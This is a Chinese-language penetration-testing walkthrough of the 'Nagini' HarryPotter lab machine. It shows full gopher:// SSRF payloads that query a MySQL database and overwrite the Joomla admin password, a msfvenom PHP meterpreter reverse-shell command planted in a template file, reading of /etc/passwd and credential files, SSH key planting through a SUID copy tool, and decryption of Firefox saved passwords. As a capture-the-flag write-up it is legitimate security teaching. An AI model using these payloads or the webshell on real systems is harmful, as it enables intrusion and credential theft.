靶机搭建(upload靶机)

靶机介绍

Nagini is the 2nd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

靶机渗透

信息收集

同一网段的目标主机IP地址发现,确定目标主机IP地址为192.168.204.137

arp-scan -l

对目标主机上运行的服务和开启的端口进行探测

nmap -sS -sV -A -n -p- 192.168.204.137

靶机搭建(upload靶机)

从上面的扫描结果可以看到目标靶机开启了22、80端口,随后我们直接访问80端口对应的web服务

靶机搭建(upload靶机)

从上面可以看到的是除了一张图片外就没啥了吗,所以我们这里采用扫描目录,对目录进行探测

python3 dirsearch.py -u http://192.168.204.137

靶机搭建(upload靶机)

从上面的结果中发现Joomla服务,直接访问

靶机搭建(upload靶机)

后台登录路径:

靶机搭建(upload靶机)

随后直接使用joomscan扫描

靶机搭建(upload靶机)

从扫描结果中发现一个备份文件,其中包含数据库的连接账户信息,由于没有密码我们还得继续收集更多有用的信息:

靶机搭建(upload靶机)

gobuster目录扫描探测如下:

gobuster dir -u http://192.168.204.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

靶机搭建(upload靶机)

访问note.txt发现以下提示信息:

靶机搭建(upload靶机)

翻译之后的中文内容如下所示:

靶机搭建(upload靶机)

根据上面的提示说明我们这里需要更改以下host的配置,增加一条解析

靶机搭建(upload靶机)

随后正常解析

靶机搭建(upload靶机)

此时访问还是我们之前的那个地址:

靶机搭建(upload靶机)

协议搭建
#安装rustcurl https://sh.rustup.rs -sSf | sh

靶机搭建(upload靶机)

靶机搭建(upload靶机)

#下载客户端 git clone --recursive https://github.com/cloudflare/quiche

靶机搭建(upload靶机)

#安装cargo sudo apt install cargo

靶机搭建(upload靶机)

#安装cmake组件sudo apt install cmake

靶机搭建(upload靶机)

进入quiche目录,然后依次执行

cargo build --examples

靶机搭建(upload靶机)

cargo test

靶机搭建(upload靶机)

靶机搭建(upload靶机)

环境搭建好后进入quiche/target/debug/examples目录,然后利用http3进行访问:

./http3-client http://quic.nagini.hogwarts/

靶机搭建(upload靶机)

可惜就是不行,这里给一个别人成功访问到的截图

靶机搭建(upload靶机)

这里有一个/internalResourceFeTcher.php,我们直接访问之,这里提示该网页是一个用于内部网路资源请求的页面

靶机搭建(upload靶机)

由于是网络资源的获取所以使用url资源请求格式尝试进行访问

http://127.0.0.1

靶机搭建(upload靶机)

靶机搭建(upload靶机)

file:///etc/passwd

靶机搭建(upload靶机)

请求伪造

结合前面的扫描我们不难发现Joomla是可以管理数据库的,只是比较奇怪的是nmap并没有扫描出来3306端口,也许可能是靶机对其访问IP做了防护,导致只能以127.0.0.1连接,随后我们结合Gopher协议对本地的MySQL数据库发起攻击测试(之前我们已经有了mysql的连接账户和密码),在此之前我们要用一下Gopherus工具

靶机搭建(upload靶机)

生成用于攻击MySQL的攻击载荷,这里我们的数据库名称为goblin,我们要执行的命令是使用joomla数据库并查看表名信息

Gopherus --exploit mysql

靶机搭建(upload靶机)

随后测试载荷:

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%20%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

靶机搭建(upload靶机)

随后查看源代码发现joomla_users这个表名

靶机搭建(upload靶机)

随后我们用同样方法构建payload其中mysql的查询语句为:

use joomla;select * from joomla_users;

靶机搭建(upload靶机)

访问下面的连接

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%27%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%3b%01%00%00%00%01

靶机搭建(upload靶机)

通过查看源代码以及结合def(用于定义表的列)定义每个列的含义和获取的查询数据可以得到这样一个数据:

  • 用户:site_admin

  • 邮箱:site_admin@nagini.hogwarts

  • 密码:$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay

靶机搭建(upload靶机)

如果我们直接破解这个密文不仅时间长,而且还有可能破不出来,既然通过gopher可以直接操作数据库,那么我们便可以直接覆盖这个site_admin密码,由于mysql支持md5加密,所以我们先生成一个md5的加密密码

echo -n \\\"123456\\\" | md5sum

靶机搭建(upload靶机)

随后我们直接构建如下payload

use joomla; update joomla_users SET password=\\\'e10adc3949ba59abbe56e057f20f883e\\\' WHERE username=\\\'site_admin\\\';

靶机搭建(upload靶机)

随后我们直接访问下面的连接

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6d%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%20%75%70%64%61%74%65%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%53%45%54%20%70%61%73%73%77%6f%72%64%3d%27%65%31%30%61%64%63%33%39%34%39%62%61%35%39%61%62%62%65%35%36%65%30%35%37%66%32%30%66%38%38%33%65%27%20%57%48%45%52%45%20%75%73%65%72%6e%61%6d%65%3d%27%73%69%74%65%5f%61%64%6d%69%6e%27%3b%01%00%00%00%01

靶机搭建(upload靶机)

从上面的回显结果可以看到这里成功更新了一条记录,说明我们的密码已经成功更改,随后我们就可以使用site_admin/123456直接登录Joomla后台了

靶机搭建(upload靶机)

靶机搭建(upload靶机)

在获取到Joomla的后台操作权限后我们可以通过在后台修改主题文件的方式来获取shell权限,这里我们随意选择一个主题

靶机搭建(upload靶机)

选择查看模板文件的详细信息

靶机搭建(upload靶机)

选择error.php文件

靶机搭建(upload靶机)

然后使用msfvenom来生成要给php后门文件

#PHP后门文件msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

靶机搭建(upload靶机)

然后使用我们之前在msfvenom中生成的webshell文件内容替换上面error.php文件内容

靶机搭建(upload靶机)

保存后访问Beez3主题下的error.php文件便可成功的突破边界

http://192.168.204.137/joomla/templates/beez3/error.php

靶机搭建(upload靶机)

随后在我们的MSF中获取到一个会话

靶机搭建(upload靶机)

信息收集

获取到目标系统的边界服务器后,在进行信息收集阶段发现位于www目录下的html文件夹中存在一个horcrux1.txt文件,其中包含了我们的第一个flag

靶机搭建(upload靶机)

随后我们在home目录下发现两个用户hermoine, snape这两个用户(赫敏,斯内普教授),其中有一个.creds.txt,根据文件名称意为凭据信息,查看后发现一下内容

靶机搭建(upload靶机)

根据字符串特征不难发现为base64编码,随后我们直接进行base64解码得到一下内容:

靶机搭建(upload靶机)

随后使用\\”snape:Love@lilly\\\"的SSH登陆,完成账号跳转

靶机搭建(upload靶机)

权限提升

从上面我们可以看到目前的用户权限为普通用户的权限,所以我们这里需要进行一次权限提示操作,我们可以通过以下命令来查看系统上运行的所有SUID可执行文件,更具体点来说,以下命令将尝试查找具有root权限的SUID的文件:

靶机搭建(upload靶机)

随后我们查看一下su_cp命令的具体参数,可以看到这里的su_cp其实就是一个被赋予了sudo权限的cp命令

靶机搭建(upload靶机)

结合hermoine.ssh目录,我们可以尝试利用su_cp命令将公钥传输到hermoine的.ssh目录中,从而实现SSH的公钥登陆

ssh-keygen   //al1ex

靶机搭建(upload靶机)

scp ./id_rsa.pub snape@192.168.204.137:~/

靶机搭建(upload靶机)

随后我们使用su_cp将authorized_keys拷贝到hermoine的.ssh文件中

靶机搭建(upload靶机)

最后用公钥成功以hermoine的身份登陆到靶机并查看第二个flag

靶机搭建(upload靶机)

密码还原

从上面我们可以看到在hermoine的目录下存在.mozilla文件夹,改文件夹是存放浏览器的信息的文件夹下面存在firefox浏览器,通过工具去查看浏览器的账户密码

靶机搭建(upload靶机)

将.mozilla文件夹copy到本地的tmp目录

scp -rp hermoine@192.168.204.137:/home/hermoine/.mozilla /tmp

靶机搭建(upload靶机)

随后使用工具还原浏览器密码:

https://github.com/unode/firefox_decrypt

靶机搭建(upload靶机)

随后进行解密操作

python3 firefox_decrypt.py /tmp/.mozilla/firefox

使用获取的用户名密码也可以实现提权操作并获取到三个Flag

文末小结

本篇文章主要介绍了对Nagini靶机的渗透测试,期间涉及前期信息收集、Joomla模板文件getShell的技巧、SSRFf漏洞利用、SSH公钥登录的方法、浏览器文件解密的方法等知识点~

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34124.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月21日 下午4:18
下一篇 2024年4月21日 下午4:20

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注